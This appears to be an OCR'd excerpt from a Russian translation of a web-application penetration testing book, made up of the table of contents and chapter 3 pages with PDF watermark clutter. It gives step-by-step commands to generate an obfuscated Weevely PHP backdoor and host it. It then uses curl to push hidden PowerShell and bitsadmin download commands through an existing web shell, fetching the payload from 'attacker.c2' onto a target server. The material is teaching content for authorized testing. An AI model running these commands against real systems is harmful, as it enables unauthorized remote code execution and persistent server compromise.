- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 82 Глава 3.Легкая добыча |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
Query OK, 1 row affected (0.01 sec) |
||||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
MariaDB [(none)]>
Можно увидеть оболочку в действии, выполнив системную команду tasklist и передав значение ECorpAppTest11251 в качестве пароля, как показано на скриншоте.
Рис.3.8. Список процессов на сервере приложений
Это было просто. Теперь произвольный код у нас выполняется на сервере приложений. Мы можем получить целевой исходный код, найти базу данных, сбросить пароли, получить доступ к приложению и т.д.
Есть способ получше
Хотя вы и достигли своей цели (код выполняется на сервере) и эффективно скомпрометировали приложение (и даже больше!), возможно, у вас есть стимул копнуть глубже. Кроме того, созданная веб-оболочка довольно несовершенная,итрудновыполнятькомандыподряд.Еслитестдлитсянесколькодней или даже недель, с ним неудобно и трудно работать. Вам может понадобиться перенестифайлы,перейтинаинтерактивнуюоболочку,перемещатьсяпофайловойсистемеит.д.Поэтойипомногимдругимпричинамследуетперейтина более функциональную оболочку. И тут вступает в дело Weevely.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Анализ сети 83 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Weevely – это мощная веб-оболочка, установленная в Kali Linux по умолча- |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
нию.Использоватьее оченьпросто.Она генерируетзапутанную,защищенную |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
паролем PHP-оболочку, которая может заменить наш более ранний пример |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
оболочкисфункциейsystem().Weevelyпредоставляетрядполезныхфункцио |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
нальных возможностей, которые выходят за рамки традиционной сквозной |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
оболочки командной строки, в том числе следующие возможности: |
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
знакомый интерфейс терминала; |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
возможность дальнейшего движения по сети; |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
загрузка и скачивание файлов; |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
реверсная и прямая TCP-оболочка; |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
поддержка Meterpreter. |
|
|
|
|
|
|
|
|
|
|
|
Вначале нам нужно сгенерировать новую оболочку, выполнив команду
weevely generate.
Синтаксис выглядиттак:
root@kali:/var/www/html# weevely generate <password> </path/to/shell.php>
Weevely создаст защищенную паролем обфусцированную веб-оболочку PHP по указанному пути на нашем компьютере с Kali.
root@kali:/var/www/html# weevely generate ECorpAppTest11251
/var/www/html/shell.php
Generated backdoor with password 'ECorpAppTest11251' in '/var/www/html/shell.php' of 742 byte size. root@kali:/var/www/html#
Чтобы быстро обслуживать только что созданную веб-оболочку, можно запустить временный веб-сервер на нашем экземпляре Kali Linux с помощью однострочной команды. В состав Python входит модуль SimpleHTTPServer, который можно вызывать из терминала для обслуживания файлов по HTTP. Не нужно возиться с настройками Apache или NGINX. По умолчанию модуль SimpleHTTPServer передаеттекущее содержимое каталога в сеть.
Втойжедиректории,чтоисгенерированныйWeevelyфайлshell.php (/var/ www/html), загрузим модуль SimpleHTTPServer, используя опцию -m. Последний параметр – это порт, который будет прослушивать веб-сервер. В данном случае это порт 80.
root@kali:/var/www/html# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
Самоетрудное позади.Теперьнам нужно просто загрузитьshell.php на целевой сервер, используя оболочку xampp.php. Есть несколько способов сделать
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 84 Глава 3.Легкая добыча |
w Click |
to |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
это. На серверах Linux почти всегда доступна команда wget, простая в исполь- |
|
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
зовании. В случае с Windows можно применять встроенный файл bitsadmin. exe либо более привлекательный однострочник для powershell.exe.
Можемиспользоватькомандуcurl иприведенныйнижешаблондлявыполнения команд PowerShell на удаленном хосте и эффективной загрузки более продвинутой оболочки Weevely. Просто нужно подключить соответствующие значения.
curl -G "[current shell url]" --data-urlencode "cmd=[command to execute]" &password=ECorpAppTest11251
Команда для выполнения в этом случае будет выглядетьтак:
powershell -w hidden -noni -nop -c (new-object net.webclient).DownloadFile('http://attacker.c2/shell.php', 'c:\xampp\htdocs\xampp\test.php')
Чтобы выполнить загрузчик файлов PowerShell тихо и успешно, необходим ряд опций.Опция -w устанавливает стиль окна в значение hidden,что предотвращает появление любых нежелательных всплывающих окон. Опции -nop и -noni отключают соответственно загрузку профиля и взаимодействие с пользователем, обеспечивая больше скрытности при выполнении загрузчика.
Ключ -c принимает произвольный блок скрипта PowerShell, который должен быть выполнен. Для наших целей создадим новый объект Net.Webclient и вызовем его метод DownloadFile с источником и назначением в качестве параметров.
Приведенный в качестве примера однострочникдля PowerShell извлечетсодержимое оболочки Weevely из SimpleHTTPServer и поместит в соответствующий каталог htdocs на сервере приложений.
root@kali:/var/www/html# curl -G http://api.ecorp.local/xampp/xampp.php --data-urlencode
"password=ECorpAppTest11251& cmd=powershell -w hidden -noni -nop -c (new-object net.webclient).DownloadFile( 'http://attacker.c2/test.php','c:\xampp\htdocs\xampp\test.php')"
root@kali:/var/www/html#
У curl есть опция --data-urlencode, которая, как вы уже догадались, закодирует нашу команду в URL-адрес, чтобы она проходила через HTTP без ка- ких-либо проблем. Опция -G гарантирует, что закодированные данные будут переданы с помощью запроса GET.
Ввидутого что команда PowerShell создается в отдельном процессе,простая PHP-оболочка xampp.php не сможет возвращать сообщения об успешном ре-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
Анализ сети 85 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
зультате или сбое. Можно убедиться, что все успешно, попытавшись подклю- |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
читься к оболочке с помощью клиента Weevely.
Несмотря на то что в настоящее время это покажется необычным, вполне возможно, что PowerShell отключен или недоступен в целевой системе Windows. В этом случае использование bitsadmin.exe для загрузки полезных нагрузок работает просто отлично. Подбирая правильные параметры, можем взять нашу оболочку Weevely и поместить ее в папку htdocs.
Шаблон команды bitsadmin, который будем использовать, выглядиттак:
bitsadmin /transfer myjob /download /priority high
[current shell url] [save location]
Как и в случае с загрузчиком PowerShell,подставляем значения переменных в своей команде и вставляем их в шаблон curl.
root@kali:/var/www/html# curl -G http://api.ecorp.local/xampp/xampp.php --data-urlencode
"password=ECorpAppTest11251&cmd=bitsadmin /transfer myjob /download / priority high
http://attacker.c2/shell.php c:\\xampp\\htdocs\\xampp\\test.php"
BITSADMIN version 3.0 [ 7.5.7601 ] BITS administration utility.
(C) Copyright 2000-2006 Microsoft Corp.
BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.
Transfer complete. root@kali:/var/www/html#
Как ясно показывает вывод bitadmin,эта функциональность устарела.Хотя он по-прежнему доступен во всех версиях Windows,не факт,чтотак будети дальше.Тем не менее предприятия несколько медленнее внедряют новые версии Windows,поэтому вы,вероятно, cможете использовать этот инструмент в течение нескольких лет.
ТеперьклиентWeevelyдолжениметьвозможностьподключитьсякоболочке test.php на удаленном хосте. Синтаксис в данном случае не требует пояснений.
root@kali:/var/www/html# weevely http://api.ecorp.local/xampp/test.php ECorpAppTest11251